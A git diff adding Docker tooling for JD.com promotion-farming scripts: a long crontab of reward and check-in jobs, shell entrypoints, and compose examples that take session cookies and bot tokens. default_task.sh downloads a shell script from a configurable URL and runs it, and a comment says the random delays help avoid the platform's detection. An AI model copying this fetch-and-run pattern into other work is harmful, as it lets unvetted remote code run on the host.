>> /scripts/logs/jd_health.log 2>&1 +#秒秒币 +10 2 * * * node /scripts/jd_ms.js >> /scripts/logs/jd_ms.log 2>&1 +# +1 2,15,19 * * * node /scripts/jd_daily_lottery.js >> /scripts/logs/jd_daily_lottery.log 2>&1 +# +9 0-23/3 * * * node /scripts/jd_ddnc_farmpark.js >> /scripts/logs/jd_ddnc_farmpark.log 2>&1 +#京喜工厂 +39 * * * * node /scripts/jd_dreamFactory.js >> /scripts/logs/jd_dreamFactory.log 2>&1 +#闪购盲盒 +20 4,16,19 * * * node /scripts/jd_sgmh.js >> /scripts/logs/jd_sgmh.log 2>&1 +# +0 0 * * * node /scripts/jd_bean_change1.js >> /scripts/logs/jd_bean_change1.log 2>&1 +# +1 0 * * * node /scripts/jd_shop.js >> /scripts/logs/jd_shop.log 2>&1 +#摇钱树 +23 0-23/2 * * * node /scripts/jd_moneyTree.js >> /scripts/logs/jd_moneyTree.log 2>&1 +#排行榜 +37 2 * * * node /scripts/jd_rankingList.js >> /scripts/logs/jd_rankingList.log 2>&1 +# +32 0-23/6 * * * node /scripts/jd_pigPet.js >> /scripts/logs/jd_pigPet.log 2>&1 +# +10-20/5 12 * * * node /scripts/jd_live.js >> /scripts/logs/jd_live.log 2>&1 +#京东快递 +40 0 * * * node /scripts/jd_kd.js >> /scripts/logs/jd_kd.log 2>&1 +#美丽研究院 +16 9,15,17 * * * node /scripts/jd_beauty.js >> /scripts/logs/jd_beauty.log 2>&1 +#京喜牧场 +48 0-23/3 * * * node /scripts/jd_jxmc.js >> /scripts/logs/jd_jxmc.log 2>&1 +#京东试用 +30 10 * * * node /scripts/jd_try.js >> /scripts/logs/jd_try.log 2>&1 +#领现金 +42 0-23/6 * * * node /scripts/jd_cash.js >> /scripts/logs/jd_cash.log 2>&1 +#赚金币 +0 8 * * * node /scripts/jd_zjb.js >> /scripts/logs/jd_zjb.log 2>&1 +# +# 0 6 * * * node /scripts/getJDCookie.js >> /scripts/logs/getJDCookie.log 2>&1 +#京东赚赚 +10 0 * * * node /scripts/jd_jdzz.js >> /scripts/logs/jd_jdzz.log 2>&1 +#获取互助码 +20 13 * * 6 node /scripts/jd_get_share_code.js >> /scripts/logs/jd_get_share_code.log 2>&1 +# +15-55/20 * * * * node /scripts/jd_health_collect.js >> /scripts/logs/jd_health_collect.log 2>&1 +#京东到家果园 +10 0,8,11,17 * * * node /scripts/jd_jddj_fruit.js >> /scripts/logs/jd_jddj_fruit.log 2>&1 +#京东到家 +5 0,6,12 * * * node /scripts/jd_jddj_bean.js >> /scripts/logs/jd_jddj_bean.log 2>&1 +#京东到家收水滴 +10 * * * * node /scripts/jd_jddj_collectWater.js >> /scripts/logs/jd_jddj_collectWater.log 2>&1 +#京东到家 +5-40/5 * * * * node /scripts/jd_jddj_getPoints.js >> /scripts/logs/jd_jddj_getPoints.log 2>&1 +#京东到家 +20 */4 * * * node /scripts/jd_jddj_plantBeans.js >> /scripts/logs/jd_jddj_plantBeans.log 2>&1 +# +13 3 * * * node /scripts/jd_drawEntrance.js >> /scripts/logs/jd_drawEntrance.log 2>&1 +#特务 +1,10 0 * * * node /scripts/jd_superBrand.js >> /scripts/logs/jd_superBrand.log 2>&1 +#送豆得豆 +5 0,12 * * * node /scripts/jd_SendBean.js >> /scripts/logs/jd_SendBean.log 2>&1 +# +20 0,2 * * * node /scripts/jd_wish.js >> /scripts/logs/jd_wish.log 2>&1 +#财富岛气球 +5 * * * * node /scripts/jd_cfd_loop.js >> /scripts/logs/jd_cfd_loop.log 2>&1 +#宠汪汪偷狗粮 +40 0-21/3 * * * node /scripts/jd_joy_steal.js >> /scripts/logs/jd_joy_steal.log 2>&1 +#京小鸽 +18 4,11 * * * node /scripts/jd_jxg.js >> /scripts/logs/jd_jxg.log 2>&1 +# +20 6,7 * * * node /scripts/jd_morningSc.js >> /scripts/logs/jd_morningSc.log 2>&1 +#领现金兑换 +0 0 * * * node /scripts/jd_cash_exchange.js >> /scripts/logs/jd_cash_exchange.log 2>&1 +#快手水果 +33 1,8,12,19 * * * node /scripts/jd_ks_fruit.js >> /scripts/logs/jd_ks_fruit.log 2>&1 +#宠汪汪喂食 +15 0-23/1 * * * node /scripts/jd_joy_feedPets.js >> /scripts/logs/jd_joy_feedPets.log 2>&1 +#宠汪汪赛跑 +15 10,12 * * * node /scripts/jd_joy_run.js >> /scripts/logs/jd_joy_run.log 2>&1 +#领京豆 +38 8,13 * * * node /scripts/jd_mdou.js >> /scripts/logs/jd_mdou.log 2>&1 +# +0 1 * * * node /scripts/jd_cleancart.js >> /scripts/logs/jd_cleancart.log 2>&1 +#店铺签到 +2 2 * * * node /scripts/jd_dpqd.js >> /scripts/logs/jd_dpqd.log 2>&1 +#推一推 +2 12 * * * node /scripts/jd_tyt.js >> /scripts/logs/jd_tyt.log 2>&1 +# +55 6 * * * node /scripts/jd_unsubscriLive.js >> /scripts/logs/jd_unsubscriLive.log 2>&1 +#女装盲盒 +45 2,20 * * * node /scripts/jd_nzmh.js >> /scripts/logs/jd_nzmh.log 2>&1 +#开卡74 +47 3 25-30,1 11,12 * node /scripts/jd_opencard74.js >> /scripts/logs/jd_opencard74.log 2>&1 +#开卡75 +47 2 1-15 12 * node /scripts/jd_opencard75.js >> /scripts/logs/jd_opencard75.log 2>&1 +#开卡76 +47 3 3-12 12 * node /scripts/jd_opencard76.js >> /scripts/logs/jd_opencard76.log 2>&1 +#积分换话费 +43 5,17 * * * node /scripts/jd_dwapp.js >> /scripts/logs/jd_dwapp.log 2>&1 +# 领券中心签到 +5 0 * * * node /scripts/jd_ccSign.js >> /scripts/logs/jd_ccSign.log 2>&1 +#邀请有礼 +20 9 * * * node /scripts/jd_yqyl.js >> /scripts/logs/jd_yqyl.log 2>&1 +# +20 3,6,9 * * * node /scripts/jd_dreamfactory_tuan.js >> /scripts/logs/jd_dreamfactory_tuan.log 2>&1 +#京喜领红包 +23 0,6,12,21 * * * node /scripts/jd_jxlhb.js >> /scripts/logs/jd_jxlhb.log 2>&1 +#超级直播间盲盒抽京豆 +1 18,20 * * * node /scripts/jd_super_mh.js >> /scripts/logs/jd_super_mh.log 2>&1 +# 内容鉴赏官 +5 2,5,16 * * * node /scripts/jd_connoisseur.js >> /scripts/logs/jd_connoisseur.log 2>&1 +# 京喜财富岛月饼 +5 * * * * node /scripts/jd_cfd_mooncake.js >> /scripts/logs/jd_cfd_mooncake.log 2>&1 +# 东东世界 +15 3,16 * * * node /scripts/jd_ddworld.js >> /scripts/logs/jd_ddworld.log 2>&1 +# 小魔方 +31 2,8 * * * node /scripts/jd_mf.js >> /scripts/logs/jd_mf.log 2>&1 +# 魔方 +11 7,19 * * * node /scripts/jd_mofang.js >> /scripts/logs/jd_mofang.log 2>&1 +# 芥么签到 +11 0,9 * * * node /scripts/jd_jmsign.js >> /scripts/logs/jd_jmsign.log 2>&1 +# 芥么赚豪礼 +37 0,11 * * * node /scripts/jd_jmzhl.js >> /scripts/logs/jd_jmzhl.log 2>&1 +# 幸运扭蛋 +24 9 * 10-11 * node /scripts/jd_lucky_egg.js >> /scripts/logs/jd_lucky_egg.log 2>&1 +# 东东世界兑换 +0 0 * * * node /scripts/jd_ddworld_exchange.js >> /scripts/logs/jd_ddworld_exchange.log 2>&1 +# 天天提鹅 +20 * * * * node /scripts/jd_daily_egg.js >> /scripts/logs/jd_daily_egg.log 2>&1 +# 发财大赢家 +1 2,10 * * * node /scripts/jd_fcdyj.js >> /scripts/logs/jd_fcdyj.log 2>&1 +# 翻翻乐 +20 * * * * node /scripts/jd_big_winner.js >> /scripts/logs/jd_big_winner.log 2>&1 +# 京东极速版签到免单 +18 8,12,20 * * * node /scripts/jd_speed_signfree.js >> /scripts/logs/jd_speed_signfree.log 2>&1 +# 牛牛福利 +1 9,19 * * * node /scripts/jd_nnfl.js >> /scripts/logs/jd_nnfl.log 2>&1 +#赚京豆 +10,40 0,1 * * * node /scripts/jd_syj.js >> /scripts/logs/jd_syj.log 2>&1 +#搞基大神-饭粒 +46 1,19 * * * node /scripts/jd_fanli.js >> /scripts/logs/jd_fanli.log 2>&1 +#农场集勋章 +16 7,16 * * * node /scripts/jd_medal.js >> /scripts/logs/jd_medal.log 2>&1 +#京东签到翻牌 +10 8,18 * * * node /scripts/jd_sign_graphics.js >> /scripts/logs/jd_sign_graphics.log 2>&1 +#京喜财富岛合成生鲜 +45 * * * * node /scripts/jd_cfd_fresh.js >> /scripts/logs/jd_cfd_fresh.log 2>&1 +#财富岛珍珠兑换 +59 0-23/1 * * * node /scripts/jd_cfd_pearl_ex.js >> /scripts/logs/jd_cfd_pearl_ex.log 2>&1 +#美丽研究院--兑换 +1 7,12,19 * * * node /scripts/jd_beauty_ex.js >> /scripts/logs/jd_beauty_ex.log 2>&1 +#锦鲤 +5 0 * * * node /scripts/jd_angryKoi.js >> /scripts/logs/jd_angryKoi.log 2>&1 +#京东赚京豆一分钱抽奖 +10 0 * * * node /scripts/jd_lottery_drew.js >> /scripts/logs/jd_lottery_drew.log 2>&1 +#京东保价 +41 23 * * * node /scripts/jd_price.js >> /scripts/logs/jd_price.log 2>&1 +#金榜年终奖 +10 0,2 * * * node /scripts/jd_split.js >> /scripts/logs/jd_split.log 2>&1 +#京东小魔方--收集兑换 +10 7 * * * node /scripts/jd_mofang_ex.js >> /scripts/logs/jd_mofang_ex.log 2>&1 +#骁龙 +10 9,17 * * * node /scripts/jd_xiaolong.js >> /scripts/logs/jd_xiaolong.log 2>&1 +#京东我的理想家 +10 7 * * * node /scripts/jd_lxLottery.js >> /scripts/logs/jd_lxLottery.log 2>&1 +#京豆兑换为喜豆 +33 9 * * * node /scripts/jd_exchangejxbeans.js >> /scripts/logs/jd_exchangejxbeans.log 2>&1 +#早起签到 +1 6,7 * * * python3 /jd/scripts/jd_zqfl.py >> /jd/log/jd_zqfl.log 2>&1 diff --git a/docker/default_task.sh b/docker/default_task.sh new file mode 100644 index 0000000..7cc7e18 --- /dev/null +++ b/docker/default_task.sh @@ -0,0 +1,252 @@ +#!/bin/sh +set -e + +# 放在这个初始化python3环境,目的减小镜像体积,一些不需要使用bot交互的用户可以不用拉体积比较大的镜像 +# 在这个任务里面还有初始化还有目的就是为了方便bot更新了新功能的话只需要重启容器就完成更新 +function initPythonEnv() { + echo "开始安装运行jd_bot需要的python环境及依赖..." + apk add --update python3-dev py3-pip py3-cryptography py3-numpy py-pillow + echo "开始安装jd_bot依赖..." + #测试 + #cd /jd_docker/docker/bot + #合并 + cd /scripts/docker/bot + pip3 install --upgrade pip + pip3 install -r requirements.txt + python3 setup.py install +} + +#启动tg bot交互前置条件成立,开始安装配置环境 +if [ "$1" == "True" ]; then + initPythonEnv + if [ -z "$DISABLE_SPNODE" ]; then + echo "增加命令组合spnode ,使用该命令spnode jd_xxxx.js 执行js脚本会读取cookies.conf里面的jd cokie账号来执行脚本" + ( + cat </usr/local/bin/spnode + chmod +x /usr/local/bin/spnode + fi + + echo "spnode需要使用的到,cookie写入文件,该文件同时也为jd_bot扫码获自动取cookies服务" + if [ -z "$JD_COOKIE" ]; then + if [ ! -f "$COOKIES_LIST" ]; then + echo "" >"$COOKIES_LIST" + echo "未配置JD_COOKIE环境变量,$COOKIES_LIST文件已生成,请将cookies写入$COOKIES_LIST文件,格式每个Cookie一行" + fi + else + if [ -f "$COOKIES_LIST" ]; then + echo "cookies.conf文件已经存在跳过,如果需要更新cookie请修改$COOKIES_LIST文件内容" + else + echo "环境变量 cookies写入$COOKIES_LIST文件,如果需要更新cookie请修改cookies.conf文件内容" + echo $JD_COOKIE | sed "s/[ &]/\\n/g" | sed "/^$/d" >$COOKIES_LIST + fi + fi + + CODE_GEN_CONF=/scripts/logs/code_gen_conf.list + echo "生成互助消息需要使用的到的 logs/code_gen_conf.list 文件,后续需要自己根据说明维护更新删除..." + if [ ! -f "$CODE_GEN_CONF" ]; then + ( + cat <$CODE_GEN_CONF + else + echo "logs/code_gen_conf.list 文件已经存在跳过初始化操作" + fi + + echo "容器jd_bot交互所需环境已配置安装已完成..." + curl -sX POST "https://api.telegram.org/bot$TG_BOT_TOKEN/sendMessage" -d "chat_id=$TG_USER_ID&text=恭喜🎉你获得feature容器jd_bot交互所需环境已配置安装已完成,并启用。请发送 /help 查看使用帮助。如需禁用请在docker-compose.yml配置 DISABLE_BOT_COMMAND=True" >>/dev/null + +fi + +#echo "暂停更新配置,不要尝试删掉这个文件,你的容器可能会起不来" +#echo '' >/scripts/logs/pull.lock + +echo "定义定时任务合并处理用到的文件路径..." +defaultListFile="/scripts/docker/$DEFAULT_LIST_FILE" +echo "默认文件定时任务文件路径为 ${defaultListFile}" +mergedListFile="/scripts/docker/merged_list_file.sh" +echo "合并后定时任务文件路径为 ${mergedListFile}" + +echo "第1步将默认定时任务列表添加到并后定时任务文件..." +cat $defaultListFile >$mergedListFile + +echo "第2步判断是否存在自定义任务任务列表并追加..." +if [ $CUSTOM_LIST_FILE ]; then + echo "您配置了自定义任务文件:$CUSTOM_LIST_FILE,自定义任务类型为:$CUSTOM_LIST_MERGE_TYPE..." + # 无论远程还是本地挂载, 均复制到 $customListFile + customListFile="/scripts/docker/custom_list_file.sh" + echo "自定义定时任务文件临时工作路径为 ${customListFile}" + if expr "$CUSTOM_LIST_FILE" : 'http.*' &>/dev/null; then + echo "自定义任务文件为远程脚本,开始下载自定义远程任务。" + wget -O $customListFile $CUSTOM_LIST_FILE + echo "下载完成..." + elif [ -f /scripts/docker/$CUSTOM_LIST_FILE ]; then + echo "自定义任务文件为本地挂载。" + cp /scripts/docker/$CUSTOM_LIST_FILE $customListFile + fi + + if [ -f "$customListFile" ]; then + if [ $CUSTOM_LIST_MERGE_TYPE == "append" ]; then + echo "合并默认定时任务文件:$DEFAULT_LIST_FILE 和 自定义定时任务文件:$CUSTOM_LIST_FILE" + echo -e "" >>$mergedListFile + cat $customListFile >>$mergedListFile + elif [ $CUSTOM_LIST_MERGE_TYPE == "overwrite" ]; then + echo "配置了自定义任务文件:$CUSTOM_LIST_FILE,自定义任务类型为:$CUSTOM_LIST_MERGE_TYPE..." + cat $customListFile >$mergedListFile + else + echo "配置配置了错误的自定义定时任务类型:$CUSTOM_LIST_MERGE_TYPE,自定义任务类型为只能为append或者overwrite..." + fi + else + echo "配置的自定义任务文件:$CUSTOM_LIST_FILE未找到,使用默认配置$DEFAULT_LIST_FILE..." + fi +else + echo "当前只使用了默认定时任务文件 $DEFAULT_LIST_FILE ..." +fi + +echo "第3步判断是否配置了随机延迟参数..." +if [ $RANDOM_DELAY_MAX ]; then + if [ $RANDOM_DELAY_MAX -ge 1 ]; then + echo "已设置随机延迟为 $RANDOM_DELAY_MAX , 设置延迟任务中..." + sed -i "/\(jd_bean_sign.js\|jd_blueCoin.js\|jd_joy_reward.js\|jd_joy_steal.js\|jd_joy_feedPets.js\|jd_car_exchange.js\)/!s/node/sleep \$((RANDOM % \$RANDOM_DELAY_MAX)); node/g" $mergedListFile + fi +else + echo "未配置随机延迟对应的环境变量,故不设置延迟任务..." +fi + +echo "第4步判断是否配置自定义shell执行脚本..." +if [ 0"$CUSTOM_SHELL_FILE" = "0" ]; then + echo "未配置自定shell脚本文件,跳过执行。" +else + if expr "$CUSTOM_SHELL_FILE" : 'http.*' &>/dev/null; then + echo "自定义shell脚本为远程脚本,开始下载自定义远程脚本。" + wget -O /scripts/docker/shell_script_mod.sh $CUSTOM_SHELL_FILE + echo "下载完成,开始执行..." + echo "#远程自定义shell脚本追加定时任务" >>$mergedListFile + sh -x /scripts/docker/shell_script_mod.sh + echo "自定义远程shell脚本下载并执行结束。" + else + if [ ! -f $CUSTOM_SHELL_FILE ]; then + echo "自定义shell脚本为docker挂载脚本文件,但是指定挂载文件不存在,跳过执行。" + else + echo "docker挂载的自定shell脚本,开始执行..." + echo "#docker挂载自定义shell脚本追加定时任务" >>$mergedListFile + sh -x $CUSTOM_SHELL_FILE + echo "docker挂载的自定shell脚本,执行结束。" + fi + fi +fi + +echo "第5步删除不运行的脚本任务..." +if [ $DO_NOT_RUN_SCRIPTS ]; then + echo "您配置了不运行的脚本:$DO_NOT_RUN_SCRIPTS" + arr=${DO_NOT_RUN_SCRIPTS//&/ } + for item in $arr; do + sed -ie '/'"${item}"'/d' ${mergedListFile} + done + +fi + +echo "第6步设定下次运行docker_entrypoint.sh时间..." +echo "删除原有docker_entrypoint.sh任务" +sed -ie '/'docker_entrypoint.sh'/d' ${mergedListFile} + +# 12:00前生成12:00后的cron,12:00后生成第二天12:00前的cron,一天只更新两次代码 +if [ $(date +%-H) -lt 12 ]; then + random_h=$(($RANDOM % 12 + 12)) +else + random_h=$(($RANDOM % 12)) +fi +random_m=$(($RANDOM % 60)) + +echo "设定 docker_entrypoint.sh cron为:" +echo -e "\n# 必须要的默认定时任务请勿删除" >>$mergedListFile +echo -e "${random_m} ${random_h} * * * docker_entrypoint.sh >> /scripts/logs/default_task.log 2>&1" | tee -a $mergedListFile + +echo "第7步 自动助力" +if [ -n "$ENABLE_AUTO_HELP" ]; then + #直接判断变量,如果未配置,会导致sh抛出一个错误,所以加了上面一层 + if [ "$ENABLE_AUTO_HELP" = "true" ]; then + echo "开启自动助力" + #在所有脚本执行前,先执行助力码导出 + sed -i 's/node/ . \/scripts\/docker\/auto_help.sh export > \/scripts\/logs\/auto_help_export.log \&\& node /g' ${mergedListFile} + else + echo "未开启自动助力" + fi +fi + +echo "第8步增加 |ts 任务日志输出时间戳..." +sed -i "/\( ts\| |ts\|| ts\)/!s/>>/\|ts >>/g" $mergedListFile + +echo "第9步执行proc_file.sh脚本任务..." +sh /scripts/docker/proc_file.sh + +echo "第10步加载最新的定时任务文件..." +if [[ -f /usr/bin/jd_bot && -z "$DISABLE_SPNODE" ]]; then + echo "bot交互与spnode 前置条件成立,替换任务列表的node指令为spnode" + sed -i "s/ node / spnode /g" $mergedListFile + #conc每个cookies独立并行执行脚本示例,cookies数量多使用该功能可能导致内存爆掉,默认不开启 有需求,请在自定义shell里面实现 + #sed -i "/\(jd_xtg.js\|jd_car_exchange.js\)/s/spnode/spnode conc/g" $mergedListFile +fi +crontab $mergedListFile + +echo "第11步将仓库的docker_entrypoint.sh脚本更新至系统/usr/local/bin/docker_entrypoint.sh内..." +cat /scripts/docker/docker_entrypoint.sh >/usr/local/bin/docker_entrypoint.sh + +echo "发送通知" +export NOTIFY_CONTENT="" +cd /scripts/docker +node notify_docker_user.js diff --git a/docker/docker_entrypoint.sh b/docker/docker_entrypoint.sh new file mode 100644 index 0000000..6c9852c --- /dev/null +++ b/docker/docker_entrypoint.sh @@ -0,0 +1,57 @@ +#!/bin/sh +set -e + +#获取配置的自定义参数 +if [ -n "$1" ]; then + run_cmd=$1 +fi + +( +if [ -f "/scripts/logs/pull.lock" ]; then + echo "存在更新锁定文件,跳过git pull操作..." +else + echo "设定远程仓库地址..." + cd /scripts + git remote set-url origin "$REPO_URL" + git reset --hard + echo "git pull拉取最新代码..." + git -C /scripts pull --rebase + echo "npm install 安装最新依赖" + npm install --prefix /scripts +fi +) || exit 0 + +# 默认启动telegram交互机器人的条件 +# 确认容器启动时调用的docker_entrypoint.sh +# 必须配置TG_BOT_TOKEN、TG_USER_ID, +# 且未配置DISABLE_BOT_COMMAND禁用交互, +# 且未配置自定义TG_API_HOST,因为配置了该变量,说明该容器环境可能并能科学的连到telegram服务器 +if [[ -n "$run_cmd" && -n "$TG_BOT_TOKEN" && -n "$TG_USER_ID" && -z "$DISABLE_BOT_COMMAND" && -z "$TG_API_HOST" ]]; then + ENABLE_BOT_COMMAND=True +else + ENABLE_BOT_COMMAND=False +fi + +echo "------------------------------------------------执行定时任务任务shell脚本------------------------------------------------" +#测试 +# sh /jd_docker/docker/default_task.sh "$ENABLE_BOT_COMMAND" "$run_cmd" +#合并 +sh /scripts/docker/default_task.sh "$ENABLE_BOT_COMMAND" "$run_cmd" +echo "--------------------------------------------------默认定时任务执行完成---------------------------------------------------" + +if [ -n "$run_cmd" ]; then + # 增加一层jd_bot指令已经正确安装成功校验 + # 以上条件都满足后会启动jd_bot交互,否还是按照以前的模式启动,最大程度避免现有用户改动调整 + if [[ "$ENABLE_BOT_COMMAND" == "True" && -f /usr/bin/jd_bot ]]; then + echo "启动crontab定时任务主进程..." + crond + echo "启动telegram bot指令交主进程..." + jd_bot + else + echo "启动crontab定时任务主进程..." + crond -f + fi + +else + echo "默认定时任务执行结束。" +fi diff --git a/docker/example/custom-append.yml b/docker/example/custom-append.yml new file mode 100644 index 0000000..eeaa8ed --- /dev/null +++ b/docker/example/custom-append.yml @@ -0,0 +1,62 @@ +jd_scripts: + image: lxk0301/jd_scripts + # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过0.2(单核的20%) + # 经过实际测试,建议不低于200M + # deploy: + # resources: + # limits: + # cpus: '0.2' + # memory: 200M + container_name: jd_scripts + restart: always + volumes: + - ./my_crontab_list.sh:/scripts/docker/my_crontab_list.sh + - ./logs:/scripts/logs + tty: true + # 因为更换仓库地址可能git pull的dns解析不到,可以在配置追加hosts + extra_hosts: + - "gitee.com:180.97.125.228" + - "github.com:13.229.188.59" + - "raw.githubusercontent.com:151.101.228.133" + environment: + #脚本更新仓库地址,配置了会切换到对应的地址 + - REPO_URL=git@gitee.com:lxk0301/jd_scripts.git + # 注意环境变量填写值的时候一律不需要引号(""或者'')下面这些只是示例,根据自己的需求增加删除 + #jd cookies + # 例: JD_COOKIE=pt_key=XXX;pt_pin=XXX; + # 例(多账号): JD_COOKIE=pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX; + - JD_COOKIE= + #微信server酱通知 + - PUSH_KEY= + #Bark App通知 + - BARK_PUSH= + #telegram机器人通知 + - TG_BOT_TOKEN= + - TG_USER_ID= + #钉钉机器人通知 + - DD_BOT_TOKEN= + - DD_BOT_SECRET= + #企业微信机器人通知 + - QYWX_KEY= + #京东种豆得豆 + - PLANT_BEAN_SHARECODES= + #京东农场 + # 例: FRUITSHARECODES=京东农场的互助码 + - FRUITSHARECODES= + #京东萌宠 + # 例: PETSHARECODES=东东萌宠的互助码 + - PETSHARECODES= + # 宠汪汪的喂食数量 + - JOY_FEED_COUNT= + #东东超市 + # - SUPERMARKET_SHARECODES= + #兑换多少数量的京豆(20,或者1000京豆,或者其他奖品的文字) + # 例: MARKET_COIN_TO_BEANS=1000 + - MARKET_COIN_TO_BEANS= + #如果设置了 RANDOM_DELAY_MAX ,则会启用随机延迟功能,延迟随机 0 到 RANDOM_DELAY_MAX-1 秒。如果不设置此项,则不使用延迟。 + #并不是所有的脚本都会被启用延迟,因为有一些脚本需要整点触发。延迟的目的有两个,1是降低抢占cpu资源几率,2是降低检查风险(主要是1) + #填写数字,单位为秒,比如写为 RANDOM_DELAY_MAX=30 就是随机产生0到29之间的一个秒数,执行延迟的意思。 + - RANDOM_DELAY_MAX=120 + #使用自定义定任务追加默认任务之后,上面volumes挂载之后这里配置对应的文件名 + - CUSTOM_LIST_FILE=my_crontab_list.sh + diff --git a/docker/example/custom-overwrite.yml b/docker/example/custom-overwrite.yml new file mode 100644 index 0000000..dd0a6a5 --- /dev/null +++ b/docker/example/custom-overwrite.yml @@ -0,0 +1,62 @@ +jd_scripts: + image: lxk0301/jd_scripts + # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过0.2(单核的20%) + # 经过实际测试,建议不低于200M + # deploy: + # resources: + # limits: + # cpus: '0.2' + # memory: 200M + container_name: jd_scripts + restart: always + volumes: + - ./my_crontab_list.sh:/scripts/docker/my_crontab_list.sh + - ./logs:/scripts/logs + tty: true + # 因为更换仓库地址可能git pull的dns解析不到,可以在配置追加hosts + extra_hosts: + - "gitee.com:180.97.125.228" + - "github.com:13.229.188.59" + - "raw.githubusercontent.com:151.101.228.133" + environment: + #脚本更新仓库地址,配置了会切换到对应的地址 + - REPO_URL=git@gitee.com:lxk0301/jd_scripts.git + # 注意环境变量填写值的时候一律不需要引号(""或者'')下面这些只是示例,根据自己的需求增加删除 + #jd cookies + # 例: JD_COOKIE=pt_key=XXX;pt_pin=XXX; + #例(多账号): JD_COOKIE=pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX; + - JD_COOKIE= + #微信server酱通知 + - PUSH_KEY= + #Bark App通知 + - BARK_PUSH= + #telegram机器人通知 + - TG_BOT_TOKEN= + - TG_USER_ID= + #钉钉机器人通知 + - DD_BOT_TOKEN= + - DD_BOT_SECRET= + #企业微信机器人通知 + - QYWX_KEY= + #京东种豆得豆 + - PLANT_BEAN_SHARECODES= + #京东农场 + # 例: FRUITSHARECODES=京东农场的互助码 + - FRUITSHARECODES= + #京东萌宠 + # 例: PETSHARECODES=东东萌宠的互助码 + - PETSHARECODES= + # 宠汪汪的喂食数量 + - JOY_FEED_COUNT= + #东东超市 + # - SUPERMARKET_SHARECODES= + #兑换多少数量的京豆(20,或者1000京豆,或者其他奖品的文字) + # 例: MARKET_COIN_TO_BEANS=1000 + - MARKET_COIN_TO_BEANS= + #如果设置了 RANDOM_DELAY_MAX ,则会启用随机延迟功能,延迟随机 0 到 RANDOM_DELAY_MAX-1 秒。如果不设置此项,则不使用延迟。 + #并不是所有的脚本都会被启用延迟,因为有一些脚本需要整点触发。延迟的目的有两个,1是降低抢占cpu资源几率,2是降低检查风险(主要是1) + #填写数字,单位为秒,比如写为 RANDOM_DELAY_MAX=30 就是随机产生0到29之间的一个秒数,执行延迟的意思。 + - RANDOM_DELAY_MAX=120 + #使用自定义定任务覆盖默认任务,上面volumes挂载之后这里配置对应的文件名,和自定义文件使用方式为overwrite + - CUSTOM_LIST_FILE=my_crontab_list.sh + - CUSTOM_LIST_MERGE_TYPE=overwrite diff --git a/docker/example/default.yml b/docker/example/default.yml new file mode 100644 index 0000000..3ff4995 --- /dev/null +++ b/docker/example/default.yml @@ -0,0 +1,59 @@ +jd_scripts: + image: lxk0301/jd_scripts + # 配置服务器资源约束。此例子中服务被限制为使用内存不超过200M以及cpu不超过0.2(单核的20%) + # 经过实际测试,建议不低于200M + # deploy: + # resources: + # limits: + # cpus: '0.2' + # memory: 200M + container_name: jd_scripts + restart: always + volumes: + - ./logs:/scripts/logs + tty: true + # 因为更换仓库地址可能git pull的dns解析不到,可以在配置追加hosts + extra_hosts: + - "gitee.com:180.97.125.228" + - "github.com:13.229.188.59" + - "raw.githubusercontent.com:151.101.228.133" + environment: + #脚本更新仓库地址,配置了会切换到对应的地址 + - REPO_URL=git@gitee.com:lxk0301/jd_scripts.git + # 注意环境变量填写值的时候一律不需要引号(""或者'')下面这些只是示例,根据自己的需求增加删除 + #jd cookies + # 例: JD_COOKIE=pt_key=XXX;pt_pin=XXX; + # 例(多账号): JD_COOKIE=pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX;&pt_key=XXX;pt_pin=XXX; + - JD_COOKIE= + #微信server酱通知 + - PUSH_KEY= + #Bark App通知 + - BARK_PUSH= + #telegram机器人通知 + - TG_BOT_TOKEN= + - TG_USER_ID= + #钉钉机器人通知 + - DD_BOT_TOKEN= + - DD_BOT_SECRET= + #企业微信机器人通知 + - QYWX_KEY= + #京东种豆得豆 + - PLANT_BEAN_SHARECODES= + #京东农场 + # 例: FRUITSHARECODES=京东农场的互助码 + - FRUITSHARECODES= + #京东萌宠 + # 例: PETSHARECODES=东东萌宠的互助码 + - PETSHARECODES= + # 宠汪汪的喂食数量 + - JOY_FEED_COUNT= + #东东超市 + # - SUPERMARKET_SHARECODES= + #兑换多少数量的京豆(20,或者1000京豆,或者其他奖品的文字) + # 例: MARKET_COIN_TO_BEANS=1000 + - MARKET_COIN_TO_BEANS= + + #如果设置了 RANDOM_DELAY_MAX ,则会启用随机延迟功能,延迟随机 0 到 RANDOM_DELAY_MAX-1 秒。如果不设置此项,则不使用延迟。 + #并不是所有的脚本都会被启用延迟,因为有一些脚本需要整点触发。延迟的目的有两个,1是降低抢占cpu资源几率,2是降低检查风险(主要是1) + #填写数字,单位为秒,比如写为 RANDOM_DELAY_MAX=30 就是随机产生0到29之间的一个秒数,执行延迟的意思。 + - RANDOM_DELAY_MAX=120 diff --git a/docker/example/docker多账户使用独立容器使用说明.md b/docker/example/docker多账户使用独立容器使用说明.md new file mode 100644 index 0000000..4fd879d --- /dev/null +++ b/docker/example/docker多账户使用独立容器使用说明.md @@ -0,0 +1,83 @@ +### 使用此方式,请先理解学会使用[docker办法一](https://github.com/LXK9301/jd_scripts/tree/master/docker#%E5%88%9B%E5%BB%BA%E4%B8%80%E4%B8%AA%E7%9B%AE%E5%BD%95jd_scripts%E7%94%A8%E4%BA%8E%E5%AD%98%E6%94%BE%E5%A4%87%E4%BB%BD%E9%85%8D%E7%BD%AE%E7%AD%89%E6%95%B0%E6%8D%AE%E8%BF%81%E7%A7%BB%E9%87%8D%E8%A3%85%E7%9A%84%E6%97%B6%E5%80%99%E5%8F%AA%E9%9C%80%E8%A6%81%E5%A4%87%E4%BB%BD%E6%95%B4%E4%B8%AAjd_scripts%E7%9B%AE%E5%BD%95%E5%8D%B3%E5%8F%AF)的使用方式 +> 发现有人好像希望不同账户任务并发执行,不想一个账户执行完了才能再执行另一个,这里写一个`docker办法一`的基础上实现方式,其实就是不同账户创建不同的容器,他们互不干扰单独定时执行自己的任务。 +配置使用起来还是比较简单的,具体往下看 +### 文件夹目录参考 +![image](https://user-images.githubusercontent.com/6993269/97781779-885ae700-1bc8-11eb-93a4-b274cbd6062c.png) +### 